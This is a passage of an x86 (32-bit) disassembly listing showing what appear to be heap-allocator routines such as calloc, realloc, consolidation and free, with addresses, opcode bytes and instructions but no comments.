804cf7b: 89 4d 04 mov %ecx,0x4(%ebp)
804cf7e: 89 c1 mov %eax,%ecx
804cf80: 89 15 7c f2 04 08 mov %edx,0x804f27c
804cf86: 83 c9 01 or $0x1,%ecx
804cf89: 89 15 80 f2 04 08 mov %edx,0x804f280
804cf8f: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx)
804cf96: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx)
804cf9d: 89 4a 04 mov %ecx,0x4(%edx)
804cfa0: 89 04 02 mov %eax,(%edx,%eax,1)
804cfa3: eb 09 jmp 0x804cfae
804cfa5: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cfa9: 83 4c 1d 04 01 orl $0x1,0x4(%ebp,%ebx,1)
804cfae: 8d 5d 08 lea 0x8(%ebp),%ebx
804cfb1: eb 16 jmp 0x804cfc9
804cfb3: 83 4c 18 04 01 orl $0x1,0x4(%eax,%ebx,1)
804cfb8: 89 cb mov %ecx,%ebx
804cfba: eb 0d jmp 0x804cfc9
804cfbc: e8 f5 f5 ff ff call 0x804c5b6
804cfc1: 31 db xor %ebx,%ebx
804cfc3: c7 00 0c 00 00 00 movl $0xc,(%eax)
804cfc9: 50 push %eax
804cfca: 50 push %eax
804cfcb: 6a 01 push $0x1
804cfcd: 8d 44 24 38 lea 0x38(%esp),%eax
804cfd1: 50 push %eax
804cfd2: e8 c5 0d 00 00 call 0x804dd9c
804cfd7: 83 c4 10 add $0x10,%esp
804cfda: 83 c4 3c add $0x3c,%esp
804cfdd: 89 d8 mov %ebx,%eax
804cfdf: 5b pop %ebx
804cfe0: 5e pop %esi
804cfe1: 5f pop %edi
804cfe2: 5d pop %ebp
804cfe3: c3 ret
804cfe4: 57 push %edi
804cfe5: 56 push %esi
804cfe6: 53 push %ebx
804cfe7: 83 ec 10 sub $0x10,%esp
804cfea: 8b 54 24 20 mov 0x20(%esp),%edx
804cfee: 8b 4c 24 24 mov 0x24(%esp),%ecx
804cff2: 89 d3 mov %edx,%ebx
804cff4: 0f af d9 imul %ecx,%ebx
804cff7: 85 d2 test %edx,%edx
804cff9: 74 1e je 0x804d019
804cffb: 89 d7 mov %edx,%edi
804cffd: 89 d8 mov %ebx,%eax
804cfff: 31 d2 xor %edx,%edx
804d001: f7 f7 div %edi
804d003: 39 c1 cmp %eax,%ecx
804d005: 74 12 je 0x804d019
804d007: e8 aa f5 ff ff call 0x804c5b6
804d00c: 31 db xor %ebx,%ebx
804d00e: c7 00 0c 00 00 00 movl $0xc,(%eax)
804d014: e9 b6 00 00 00 jmp 0x804d0cf
804d019: 56 push %esi
804d01a: 68 38 f0 04 08 push $0x804f038
804d01f: 68 99 dd 04 08 push $0x804dd99
804d024: 8d 44 24 0c lea 0xc(%esp),%eax
804d028: 50 push %eax
804d029: e8 6e 0d 00 00 call 0x804dd9c
804d02e: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804d035: e8 5f 0d 00 00 call 0x804dd99
804d03a: 89 1c 24 mov %ebx,(%esp)
804d03d: e8 2e f8 ff ff call 0x804c870
804d042: 83 c4 10 add $0x10,%esp
804d045: 89 c3 mov %eax,%ebx
804d047: 85 c0 test %eax,%eax
804d049: 74 73 je 0x804d0be
804d04b: 8b 40 fc mov -0x4(%eax),%eax
804d04e: a8 02 test $0x2,%al
804d050: 75 6c jne 0x804d0be
804d052: 83 e0 fc and $0xfffffffc,%eax
804d055: 8d 50 fc lea -0x4(%eax),%edx
804d058: 89 d0 mov %edx,%eax
804d05a: c1 e8 02 shr $0x2,%eax
804d05d: 83 f8 09 cmp $0x9,%eax
804d060: 76 0f jbe 0x804d071
804d062: 51 push %ecx
804d063: 52 push %edx
804d064: 6a 00 push $0x0
804d066: 53 push %ebx
804d067: e8 9b f5 ff ff call 0x804c607
804d06c: 83 c4 10 add $0x10,%esp
804d06f: eb 4d jmp 0x804d0be
804d071: c7 03 00 00 00 00 movl $0x0,(%ebx)
804d077: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx)
804d07e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
804d085: 83 f8 04 cmp $0x4,%eax
804d088: 76 34 jbe 0x804d0be
804d08a: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
804d091: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
804d098: 83 f8 06 cmp $0x6,%eax
804d09b: 76 21 jbe 0x804d0be
804d09d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
804d0a4: c7 43 18 00 00 00 00 movl $0x0,0x18(%ebx)
804d0ab: 83 f8 08 cmp $0x8,%eax
804d0ae: 76 0e jbe 0x804d0be
804d0b0: c7 43 1c 00 00 00 00 movl $0x0,0x1c(%ebx)
804d0b7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
804d0be: 50 push %eax
804d0bf: 50 push %eax
804d0c0: 6a 01 push $0x1
804d0c2: 8d 44 24 0c lea 0xc(%esp),%eax
804d0c6: 50 push %eax
804d0c7: e8 d0 0c 00 00 call 0x804dd9c
804d0cc: 83 c4 10 add $0x10,%esp
804d0cf: 83 c4 10 add $0x10,%esp
804d0d2: 89 d8 mov %ebx,%eax
804d0d4: 5b pop %ebx
804d0d5: 5e pop %esi
804d0d6: 5f pop %edi
804d0d7: c3 ret
804d0d8: 55 push %ebp
804d0d9: 57 push %edi
804d0da: 56 push %esi
804d0db: 53 push %ebx
804d0dc: 83 ec 1c sub $0x1c,%esp
804d0df: 8b 5c 24 34 mov 0x34(%esp),%ebx
804d0e3: 83 7c 24 30 00 cmpl $0x0,0x30(%esp)
804d0e8: 75 10 jne 0x804d0fa
804d0ea: 83 ec 0c sub $0xc,%esp
804d0ed: 53 push %ebx
804d0ee: e8 7d f7 ff ff call 0x804c870
804d0f3: 89 c3 mov %eax,%ebx
804d0f5: e9 f9 02 00 00 jmp 0x804d3f3
804d0fa: 85 db test %ebx,%ebx
804d0fc: 75 11 jne 0x804d10f
804d0fe: 83 ec 0c sub $0xc,%esp
804d101: ff 74 24 3c pushl 0x3c(%esp)
804d105: e8 2b 05 00 00 call 0x804d635
804d10a: e9 e4 02 00 00 jmp 0x804d3f3
804d10f: 57 push %edi
804d110: 68 38 f0 04 08 push $0x804f038
804d115: 68 99 dd 04 08 push $0x804dd99
804d11a: 8d 44 24 18 lea 0x18(%esp),%eax
804d11e: 50 push %eax
804d11f: e8 78 0c 00 00 call 0x804dd9c
804d124: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804d12b: e8 69 0c 00 00 call 0x804dd99
804d130: 83 c4 10 add $0x10,%esp
804d133: 83 fb df cmp $0xffffffdf,%ebx
804d136: 76 12 jbe 0x804d14a
804d138: e8 79 f4 ff ff call 0x804c5b6
804d13d: 31 db xor %ebx,%ebx
804d13f: c7 00 0c 00 00 00 movl $0xc,(%eax)
804d145: e9 ac 02 00 00 jmp 0x804d3f6
804d14a: 8d 43 0b lea 0xb(%ebx),%eax
804d14d: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
804d154: 00
804d155: 83 f8 0f cmp $0xf,%eax
804d158: 76 07 jbe 0x804d161
804d15a: 83 e0 f8 and $0xfffffff8,%eax
804d15d: 89 44 24 04 mov %eax,0x4(%esp)
804d161: 8b 7c 24 30 mov 0x30(%esp),%edi
804d165: 83 ef 08 sub $0x8,%edi
804d168: 8b 57 04 mov 0x4(%edi),%edx
804d16b: 89 d0 mov %edx,%eax
804d16d: 83 e0 fc and $0xfffffffc,%eax
804d170: 89 44 24 08 mov %eax,0x8(%esp)
804d174: f6 c2 02 test $0x2,%dl
804d177: 0f 85 94 01 00 00 jne 0x804d311
804d17d: 8b 4c 24 04 mov 0x4(%esp),%ecx
804d181: 89 c3 mov %eax,%ebx
804d183: 39 c8 cmp %ecx,%eax
804d185: 0f 83 31 01 00 00 jae 0x804d2bc
804d18b: 8d 34 07 lea (%edi,%eax,1),%esi
804d18e: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi
804d194: 75 38 jne 0x804d1ce
804d196: 8b 46 04 mov 0x4(%esi),%eax
804d199: 89 d9 mov %ebx,%ecx
804d19b: 83 e0 fc and $0xfffffffc,%eax
804d19e: 01 c1 add %eax,%ecx
804d1a0: 8b 44 24 04 mov 0x4(%esp),%eax
804d1a4: 83 c0 10 add $0x10,%eax
804d1a7: 39 c1 cmp %eax,%ecx
804d1a9: 72 61 jb 0x804d20c
804d1ab: 83 e2 01 and $0x1,%edx
804d1ae: 0b 54 24 04 or 0x4(%esp),%edx
804d1b2: 89 57 04 mov %edx,0x4(%edi)
804d1b5: 8b 74 24 04 mov 0x4(%esp),%esi
804d1b9: 29 f1 sub %esi,%ecx
804d1bb: 8d 04 37 lea (%edi,%esi,1),%eax
804d1be: 83 c9 01 or $0x1,%ecx
804d1c1: a3 6c f2 04 08 mov %eax,0x804f26c
804d1c6: 89 48 04 mov %ecx,0x4(%eax)
804d1c9: e9 13 02 00 00 jmp 0x804d3e1
804d1ce: 8b 56 04 mov 0x4(%esi),%edx
804d1d1: 89 d0 mov %edx,%eax
804d1d3: 83 e0 fe and $0xfffffffe,%eax
804d1d6: f6 44 06 04 01 testb $0x1,0x4(%esi,%eax,1)
804d1db: 75 2f jne 0x804d20c
804d1dd: 83 e2 fc and $0xfffffffc,%edx
804d1e0: 8b 5c 24 08 mov 0x8(%esp),%ebx
804d1e4: 01 d3 add %edx,%ebx
804d1e6: 3b 5c 24 04 cmp 0x4(%esp),%ebx
804d1ea: 72 20 jb 0x804d20c
804d1ec: 8b 56 08 mov 0x8(%esi),%edx
804d1ef: 8b 46 0c mov 0xc(%esi),%eax
804d1f2: 39 72 0c cmp %esi,0xc(%edx)
804d1f5: 75 05 jne 0x804d1fc
804d1f7: 39 70 08 cmp %esi,0x8(%eax)
804d1fa: 74 05 je 0x804d201
804d1fc: e8 d0 05 00 00 call 0x804d7d1
804d201: 89 42 0c mov %eax,0xc(%edx)
804d204: 89 50 08 mov %edx,0x8(%eax)
804d207: e9 b0 00 00 00 jmp 0x804d2bc
804d20c: 83 ec 0c sub $0xc,%esp
804d20f: 8b 44 24 10 mov 0x10(%esp),%eax
804d213: 83 e8 07 sub $0x7,%eax
804d216: 50 push %eax
804d217: e8 54 f6 ff ff call 0x804c870
804d21c: 83 c4 10 add $0x10,%esp
804d21f: 89 c2 mov %eax,%edx
804d221: 85 c0 test %eax,%eax
804d223: 0f 84 b4 01 00 00 je 0x804d3dd
804d229: 8d 58 f8 lea -0x8(%eax),%ebx
804d22c: 39 f3 cmp %esi,%ebx
804d22e: 8b 43 04 mov 0x4(%ebx),%eax
804d231: 75 0c jne 0x804d23f
804d233: 83 e0 fc and $0xfffffffc,%eax
804d236: 8b 54 24 08 mov 0x8(%esp),%edx
804d23a: 8d 1c 10 lea (%eax,%edx,1),%ebx
804d23d: eb 7d jmp 0x804d2bc
804d23f: 8b 44 24 08 mov 0x8(%esp),%eax
804d243: 83 e8 04 sub $0x4,%eax
804d246: 89 c1 mov %eax,%ecx
804d248: c1 e9 02 shr $0x2,%ecx
804d24b: 83 f9 09 cmp $0x9,%ecx
804d24e: 76 11 jbe 0x804d261
804d250: 56 push %esi
804d251: 50 push %eax
804d252: ff 74 24 38 pushl 0x38(%esp)
804d256: 52 push %edx
804d257: e8 57 14 00 00 call 0x804e6b3
804d25c: 83 c4 10 add $0x10,%esp
804d25f: eb 47 jmp 0x804d2a8
804d261: 8b 74 24 30 mov 0x30(%esp),%esi
804d265: 83 f9 04 cmp $0x4,%ecx
804d268: 8b 06 mov (%esi),%eax
804d26a: 89 02 mov %eax,(%edx)
804d26c: 8b 46 04 mov 0x4(%esi),%eax
804d26f: 89 42 04 mov %eax,0x4(%edx)
804d272: 8b 46 08 mov 0x8(%esi),%eax
804d275: 89 42 08 mov %eax,0x8(%edx)
804d278: 76 2e jbe 0x804d2a8
804d27a: 8b 46 0c mov 0xc(%esi),%eax
804d27d: 83 f9 06 cmp $0x6,%ecx
804d280: 89 42 0c mov %eax,0xc(%edx)
804d283: 8b 46 10 mov 0x10(%esi),%eax
804d286: 89 42 10 mov %eax,0x10(%edx)
804d289: 76 1d jbe 0x804d2a8
804d28b: 8b 46 14 mov 0x14(%esi),%eax
804d28e: 83 f9 08 cmp $0x8,%ecx
804d291: 89 42 14 mov %eax,0x14(%edx)
804d294: 8b 46 18 mov 0x18(%esi),%eax
804d297: 89 42 18 mov %eax,0x18(%edx)
804d29a: 76 0c jbe 0x804d2a8
804d29c: 8b 46 1c mov 0x1c(%esi),%eax
804d29f: 89 42 1c mov %eax,0x1c(%edx)
804d2a2: 8b 46 20 mov 0x20(%esi),%eax
804d2a5: 89 42 20 mov %eax,0x20(%edx)
804d2a8: 83 ec 0c sub $0xc,%esp
804d2ab: 83 c3 08 add $0x8,%ebx
804d2ae: ff 74 24 3c pushl 0x3c(%esp)
804d2b2: e8 7e 03 00 00 call 0x804d635
804d2b7: e9 1c 01 00 00 jmp 0x804d3d8
804d2bc: 89 d9 mov %ebx,%ecx
804d2be: 2b 4c 24 04 sub 0x4(%esp),%ecx
804d2c2: 83 f9 0f cmp $0xf,%ecx
804d2c5: 77 12 ja 0x804d2d9
804d2c7: 8b 47 04 mov 0x4(%edi),%eax
804d2ca: 83 e0 01 and $0x1,%eax
804d2cd: 09 d8 or %ebx,%eax
804d2cf: 89 47 04 mov %eax,0x4(%edi)
804d2d2: 83 4c 1f 04 01 orl $0x1,0x4(%edi,%ebx,1)
804d2d7: eb 30 jmp 0x804d309
804d2d9: 8b 54 24 04 mov 0x4(%esp),%edx
804d2dd: 8d 04 17 lea (%edi,%edx,1),%eax
804d2e0: 8b 57 04 mov 0x4(%edi),%edx
804d2e3: 83 e2 01 and $0x1,%edx
804d2e6: 0b 54 24 04 or 0x4(%esp),%edx
804d2ea: 83 ec 0c sub $0xc,%esp
804d2ed: 89 57 04 mov %edx,0x4(%edi)
804d2f0: 89 ca mov %ecx,%edx
804d2f2: 83 ca 01 or $0x1,%edx
804d2f5: 89 50 04 mov %edx,0x4(%eax)
804d2f8: 83 4c 08 04 01 orl $0x1,0x4(%eax,%ecx,1)
804d2fd: 83 c0 08 add $0x8,%eax
804d300: 50 push %eax
804d301: e8 2f 03 00 00 call 0x804d635
804d306: 83 c4 10 add $0x10,%esp
804d309: 8d 5f 08 lea 0x8(%edi),%ebx
804d30c: e9 d4 00 00 00 jmp 0x804d3e5
804d311: 8b 4c 24 30 mov 0x30(%esp),%ecx
804d315: a1 9c f5 04 08 mov 0x804f59c,%eax
804d31a: 48 dec %eax
804d31b: 8b 74 24 04 mov 0x4(%esp),%esi
804d31f: 8b 69 f8 mov -0x8(%ecx),%ebp
804d322: 83 c6 04 add $0x4,%esi
804d325: 89 34 24 mov %esi,(%esp)
804d328: 8d 14 28 lea (%eax,%ebp,1),%edx
804d32b: f7 d0 not %eax
804d32d: 8d 34 32 lea (%edx,%esi,1),%esi
804d330: 21 c6 and %eax,%esi
804d332: 89 f3 mov %esi,%ebx
804d334: 29 eb sub %ebp,%ebx
804d336: 39 5c 24 08 cmp %ebx,0x8(%esp)
804d33a: 0f 84 a1 00 00 00 je 0x804d3e1
804d340: 6a 01 push $0x1
804d342: 56 push %esi
804d343: 8b 44 24 10 mov 0x10(%esp),%eax
804d347: 29 ef sub %ebp,%edi
804d349: 01 e8 add %ebp,%eax
804d34b: 50 push %eax
804d34c: 57 push %edi
804d34d: e8 70 11 00 00 call 0x804e4c2
804d352: 83 c4 10 add $0x10,%esp
804d355: 83 f8 ff cmp $0xffffffff,%eax
804d358: 74 3f je 0x804d399
804d35a: 8d 14 28 lea (%eax,%ebp,1),%edx
804d35d: 83 cb 02 or $0x2,%ebx
804d360: 89 f0 mov %esi,%eax
804d362: 89 5a 04 mov %ebx,0x4(%edx)
804d365: 2b 44 24 08 sub 0x8(%esp),%eax
804d369: 03 05 a4 f5 04 08 add 0x804f5a4,%eax
804d36f: a3 a4 f5 04 08 mov %eax,0x804f5a4
804d374: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax
804d37a: 76 05 jbe 0x804d381
804d37c: a3 b0 f5 04 08 mov %eax,0x804f5b0
804d381: 03 05 a8 f5 04 08 add 0x804f5a8,%eax
804d387: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax
804d38d: 76 05 jbe 0x804d394
804d38f: a3 b4 f5 04 08 mov %eax,0x804f5b4
804d394: 8d 5a 08 lea 0x8(%edx),%ebx
804d397: eb 4c jmp 0x804d3e5
804d399: 8b 04 24 mov (%esp),%eax
804d39c: 39 44 24 08 cmp %eax,0x8(%esp)
804d3a0: 73 3f jae 0x804d3e1
804d3a2: 83 ec 0c sub $0xc,%esp
804d3a5: 8b 44 24 10 mov 0x10(%esp),%eax
804d3a9: 83 e8 07 sub $0x7,%eax
804d3ac: 50 push %eax
804d3ad: e8 be f4 ff ff call 0x804c870
804d3b2: 83 c4 10 add $0x10,%esp
804d3b5: 89 c3 mov %eax,%ebx
804d3b7: 85 c0 test %eax,%eax
804d3b9: 74 22 je 0x804d3dd
804d3bb: 51 push %ecx
804d3bc: 8b 44 24 0c mov 0xc(%esp),%eax
804d3c0: 83 e8 08 sub $0x8,%eax
804d3c3: 50 push %eax
804d3c4: ff 74 24 38 pushl 0x38(%esp)
804d3c8: 53 push %ebx
804d3c9: e8 e5 12 00 00 call 0x804e6b3
804d3ce: 5a pop %edx
804d3cf: ff 74 24 3c pushl 0x3c(%esp)
804d3d3: e8 5d 02 00 00 call 0x804d635
804d3d8: 83 c4 10 add $0x10,%esp
804d3db: eb 08 jmp 0x804d3e5
804d3dd: 31 db xor %ebx,%ebx
804d3df: eb 04 jmp 0x804d3e5
804d3e1: 8b 5c 24 30 mov 0x30(%esp),%ebx
804d3e5: 50 push %eax
804d3e6: 50 push %eax
804d3e7: 6a 01 push $0x1
804d3e9: 8d 44 24 18 lea 0x18(%esp),%eax
804d3ed: 50 push %eax
804d3ee: e8 a9 09 00 00 call 0x804dd9c
804d3f3: 83 c4 10 add $0x10,%esp
804d3f6: 83 c4 1c add $0x1c,%esp
804d3f9: 89 d8 mov %ebx,%eax
804d3fb: 5b pop %ebx
804d3fc: 5e pop %esi
804d3fd: 5f pop %edi
804d3fe: 5d pop %ebp
804d3ff: c3 ret
804d400: 55 push %ebp
804d401: 57 push %edi
804d402: 56 push %esi
804d403: 53 push %ebx
804d404: 83 ec 0c sub $0xc,%esp
804d407: 89 d5 mov %edx,%ebp
804d409: 8b 8a 5c 03 00 00 mov 0x35c(%edx),%ecx
804d40f: 8b 52 2c mov 0x2c(%edx),%edx
804d412: 8b 72 04 mov 0x4(%edx),%esi
804d415: 83 e6 fc and $0xfffffffc,%esi
804d418: 89 f2 mov %esi,%edx
804d41a: 29 c2 sub %eax,%edx
804d41c: 8d 44 0a ef lea -0x11(%edx,%ecx,1),%eax
804d420: 31 d2 xor %edx,%edx
804d422: f7 f1 div %ecx
804d424: 8d 58 ff lea -0x1(%eax),%ebx
804d427: 0f af d9 imul %ecx,%ebx
804d42a: 85 db test %ebx,%ebx
804d42c: 7e 55 jle 0x804d483
804d42e: 83 ec 0c sub $0xc,%esp
804d431: 6a 00 push $0x0
804d433: e8 2d 11 00 00 call 0x804e565
804d438: 89 c7 mov %eax,%edi
804d43a: 89 f0 mov %esi,%eax
804d43c: 03 45 2c add 0x2c(%ebp),%eax
804d43f: 83 c4 10 add $0x10,%esp
804d442: 39 c7 cmp %eax,%edi
804d444: 75 3d jne 0x804d483
804d446: 83 ec 0c sub $0xc,%esp
804d449: f7 db neg %ebx
804d44b: 53 push %ebx
804d44c: e8 14 11 00 00 call 0x804e565
804d451: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804d458: e8 08 11 00 00 call 0x804e565
804d45d: 83 c4 10 add $0x10,%esp
804d460: 83 f8 ff cmp $0xffffffff,%eax
804d463: 74 1e je 0x804d483
804d465: 89 f9 mov %edi,%ecx
804d467: 29 c1 sub %eax,%ecx
804d469: 74 18 je 0x804d483
804d46b: 8b 45 2c mov 0x2c(%ebp),%eax
804d46e: 29 8d 68 03 00 00 sub %ecx,0x368(%ebp)
804d474: 29 ce sub %ecx,%esi
804d476: 83 ce 01 or $0x1,%esi
804d479: 89 70 04 mov %esi,0x4(%eax)
804d47c: b8 01 00 00 00 mov $0x1,%eax
804d481: eb 02 jmp 0x804d485
804d483: 31 c0 xor %eax,%eax
804d485: 83 c4 0c add $0xc,%esp
804d488: 5b pop %ebx
804d489: 5e pop %esi
804d48a: 5f pop %edi
804d48b: 5d pop %ebp
804d48c: c3 ret
804d48d: 55 push %ebp
804d48e: 57 push %edi
804d48f: 56 push %esi
804d490: 53 push %ebx
804d491: 83 ec 1c sub $0x1c,%esp
804d494: 8b 54 24 30 mov 0x30(%esp),%edx
804d498: 8b 02 mov (%edx),%eax
804d49a: ba 01 00 00 00 mov $0x1,%edx
804d49f: 85 c0 test %eax,%eax
804d4a1: 0f 84 21 01 00 00 je 0x804d5c8
804d4a7: 8b 4c 24 30 mov 0x30(%esp),%ecx
804d4ab: 83 e0 fd and $0xfffffffd,%eax
804d4ae: 89 01 mov %eax,(%ecx)
804d4b0: 83 c1 34 add $0x34,%ecx
804d4b3: 8b 44 24 30 mov 0x30(%esp),%eax
804d4b7: 8b 54 24 30 mov 0x30(%esp),%edx
804d4bb: 83 c0 04 add $0x4,%eax
804d4be: 89 4c 24 18 mov %ecx,0x18(%esp)
804d4c2: 89 44 24 0c mov %eax,0xc(%esp)
804d4c6: 8b 02 mov (%edx),%eax
804d4c8: 8b 4c 24 0c mov 0xc(%esp),%ecx
804d4cc: c1 e8 03 shr $0x3,%eax
804d4cf: 8d 44 81 f8 lea -0x8(%ecx,%eax,4),%eax
804d4d3: 89 44 24 10 mov %eax,0x10(%esp)
804d4d7: 8b 44 24 0c mov 0xc(%esp),%eax
804d4db: 8b 08 mov (%eax),%ecx
804d4dd: 85 c9 test %ecx,%ecx
804d4df: 0f 84 c0 00 00 00 je 0x804d5a5
804d4e5: c7 00 00 00 00 00 movl $0x0,(%eax)
804d4eb: 8b 51 08 mov 0x8(%ecx),%edx
804d4ee: 89 54 24 14 mov %edx,0x14(%esp)
804d4f2: 8b 41 04 mov 0x4(%ecx),%eax
804d4f5: 89 c7 mov %eax,%edi
804d4f7: 83 e7 fe and $0xfffffffe,%edi
804d4fa: a8 01 test $0x1,%al
804d4fc: 8d 1c 39 lea (%ecx,%edi,1),%ebx
804d4ff: 8b 53 04 mov 0x4(%ebx),%edx
804d502: 89 54 24 08 mov %edx,0x8(%esp)
804d506: 75 20 jne 0x804d528
804d508: 8b 29 mov (%ecx),%ebp
804d50a: 89 c8 mov %ecx,%eax
804d50c: 29 e8 sub %ebp,%eax
804d50e: 8b 70 08 mov 0x8(%eax),%esi
804d511: 8b 50 0c mov 0xc(%eax),%edx
804d514: 8b 4e 0c mov 0xc(%esi),%ecx
804d517: 39 c1 cmp %eax,%ecx
804d519: 75 3d jne 0x804d558
804d51b: 39 4a 08 cmp %ecx,0x8(%edx)
804d51e: 75 38 jne 0x804d558
804d520: 01 ef add %ebp,%edi
804d522: 89 56 0c mov %edx,0xc(%esi)
804d525: 89 72 08 mov %esi,0x8(%edx)
804d528: 8b 44 24 30 mov 0x30(%esp),%eax
804d52c: 8b 6c 24 08 mov 0x8(%esp),%ebp
804d530: 83 e5 fc and $0xfffffffc,%ebp
804d533: 3b 58 2c cmp 0x2c(%eax),%ebx
804d536: 74 51 je 0x804d589
804d538: 8b 44 2b 04 mov 0x4(%ebx,%ebp,1),%eax
804d53c: 89 6b 04 mov %ebp,0x4(%ebx)
804d53f: 83 e0 01 and $0x1,%eax
804d542: 85 c0 test %eax,%eax
804d544: 75 1f jne 0x804d565
804d546: 8b 53 08 mov 0x8(%ebx),%edx
804d549: 8b 43 0c mov 0xc(%ebx),%eax
804d54c: 8b 72 0c mov 0xc(%edx),%esi
804d54f: 39 de cmp %ebx,%esi
804d551: 75 05 jne 0x804d558
804d553: 39 70 08 cmp %esi,0x8(%eax)
804d556: 74 05 je 0x804d55d
804d558: e8 74 02 00 00 call 0x804d7d1
804d55d: 01 ef add %ebp,%edi
804d55f: 89 42 0c mov %eax,0xc(%edx)
804d562: 89 50 08 mov %edx,0x8(%eax)
804d565: 8b 44 24 18 mov 0x18(%esp),%eax
804d569: 8b 50 08 mov 0x8(%eax),%edx
804d56c: 89 48 08 mov %ecx,0x8(%eax)
804d56f: 89 f8 mov %edi,%eax
804d571: 83 c8 01 or $0x1,%eax
804d574: 89 4a 0c mov %ecx,0xc(%edx)
804d577: 89 41 04 mov %eax,0x4(%ecx)
804d57a: 8b 44 24 18 mov 0x18(%esp),%eax
804d57e: 89 51 08 mov %edx,0x8(%ecx)
804d581: 89 41 0c mov %eax,0xc(%ecx)
804d584: 89 3c 39 mov %edi,(%ecx,%edi,1)
804d587: eb 10 jmp 0x804d599
804d589: 8d 04 2f lea (%edi,%ebp,1),%eax
804d58c: 83 c8 01 or $0x1,%eax
804d58f: 89 41 04 mov %eax,0x4(%ecx)
804d592: 8b 54 24 30 mov 0x30(%esp),%edx
804d596: 89 4a 2c mov %ecx,0x2c(%edx)
804d599: 8b 4c 24 14 mov 0x14(%esp),%ecx
804d59d: 85 c9 test %ecx,%ecx
804d59f: 0f 85 46 ff ff ff jne 0x804d4eb
804d5a5: 8b 4c 24 10 mov 0x10(%esp),%ecx
804d5a9: 39 4c 24 0c cmp %ecx,0xc(%esp)
804d5ad: 74 7e je 0x804d62d
804d5af: 83 44 24 0c 04 addl $0x4,0xc(%esp)
804d5b4: e9 1e ff ff ff jmp 0x804d4d7
804d5b9: 8b 4c 24 30 mov 0x30(%esp),%ecx
804d5bd: 8d 44 d1 2c lea 0x2c(%ecx,%edx,8),%eax
804d5c1: 42 inc %edx
804d5c2: 89 40 0c mov %eax,0xc(%eax)
804d5c5: 89 40 08 mov %eax,0x8(%eax)
804d5c8: 83 fa 5f cmp $0x5f,%edx
804d5cb: 7e ec jle 0x804d5b9
804d5cd: 8b 44 24 30 mov 0x30(%esp),%eax
804d5d1: 83 88 60 03 00 00 01 orl $0x1,0x360(%eax)
804d5d8: c7 80 48 03 00 00 00 movl $0x0,0x348(%eax)
804d5df: 00 00 00
804d5e2: c7 80 54 03 00 00 00 movl $0x10000,0x354(%eax)
804d5e9: 00 01 00
804d5ec: c7 80 4c 03 00 00 00 movl $0x40000,0x34c(%eax)
804d5f3: 00 04 00
804d5f6: c7 80 44 03 00 00 00 movl $0x40000,0x344(%eax)
804d5fd: 00 04 00
804d600: 8b 54 24 30 mov 0x30(%esp),%edx
804d604: 83 ec 0c sub $0xc,%esp
804d607: 8b 02 mov (%edx),%eax
804d609: 83 e0 03 and $0x3,%eax
804d60c: 83 c8 48 or $0x48,%eax
804d60f: 89 02 mov %eax,(%edx)
804d611: 89 d0 mov %edx,%eax
804d613: 83 c0 34 add $0x34,%eax
804d616: 89 42 2c mov %eax,0x2c(%edx)
804d619: 6a 1e push $0x1e
804d61b: e8 f5 05 00 00 call 0x804dc15
804d620: 8b 4c 24 40 mov 0x40(%esp),%ecx
804d624: 83 c4 10 add $0x10,%esp
804d627: 89 81 5c 03 00 00 mov %eax,0x35c(%ecx)
804d62d: 83 c4 1c add $0x1c,%esp
804d630: 5b pop %ebx
804d631: 5e pop %esi
804d632: 5f pop %edi
804d633: 5d pop %ebp
804d634: c3 ret
804d635: 55 push %ebp
804d636: 57 push %edi
804d637: 56 push %esi
804d638: 53 push %ebx
804d639: 83 ec 1c sub $0x1c,%esp
804d63c: 8b 7c 24 30 mov 0x30(%esp),%edi
804d640: 85 ff test %edi,%edi
804d642: 0f 84 81 01 00 00 je 0x804d7c9
804d648: 56 push %esi
804d649: 68 38 f0 04 08 push $0x804f038
804d64e: 68 99 dd 04 08 push $0x804dd99
804d653: 8d 44 24 18 lea 0x18(%esp),%eax
804d657: 50 push %eax
804d658: e8 3f 07 00 00 call 0x804dd9c
804d65d: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804d664: e8 30 07 00 00 call 0x804dd99
804d669: 8d 4f f8 lea -0x8(%edi),%ecx
804d66c: a1 40 f2 04 08 mov 0x804f240,%eax
804d671: 83 c4 10 add $0x10,%esp
804d674: 8b 51 04 mov 0x4(%ecx),%edx
804d677: 89 d3 mov %edx,%ebx
804d679: 83 e3 fc and $0xfffffffc,%ebx
804d67c: 39 c3 cmp %eax,%ebx
804d67e: 77 20 ja 0x804d6a0
804d680: c1 eb 03 shr $0x3,%ebx
804d683: 83 c8 03 or $0x3,%eax
804d686: a3 40 f2 04 08 mov %eax,0x804f240
804d68b: 8d 14 9d 40 f2 04 08 lea 0x804f240(,%ebx,4),%edx
804d692: 8b 42 fc mov -0x4(%edx),%eax
804d695: 89 41 08 mov %eax,0x8(%ecx)
804d698: 89 4a fc mov %ecx,-0x4(%edx)
804d69b: e9 18 01 00 00 jmp 0x804d7b8
804d6a0: 80 e2 02 and $0x2,%dl
804d6a3: 0f 85 ef 00 00 00 jne 0x804d798
804d6a9: 83 c8 01 or $0x1,%eax
804d6ac: 8d 34 19 lea (%ecx,%ebx,1),%esi
804d6af: a3 40 f2 04 08 mov %eax,0x804f240
804d6b4: 8b 46 04 mov 0x4(%esi),%eax
804d6b7: 89 44 24 08 mov %eax,0x8(%esp)
804d6bb: f6 41 04 01 testb $0x1,0x4(%ecx)
804d6bf: 75 21 jne 0x804d6e2
804d6c1: 8b 6f f8 mov -0x8(%edi),%ebp
804d6c4: 89 c8 mov %ecx,%eax
804d6c6: 29 e8 sub %ebp,%eax
804d6c8: 8b 78 08 mov 0x8(%eax),%edi
804d6cb: 8b 50 0c mov 0xc(%eax),%edx
804d6ce: 8b 4f 0c mov 0xc(%edi),%ecx
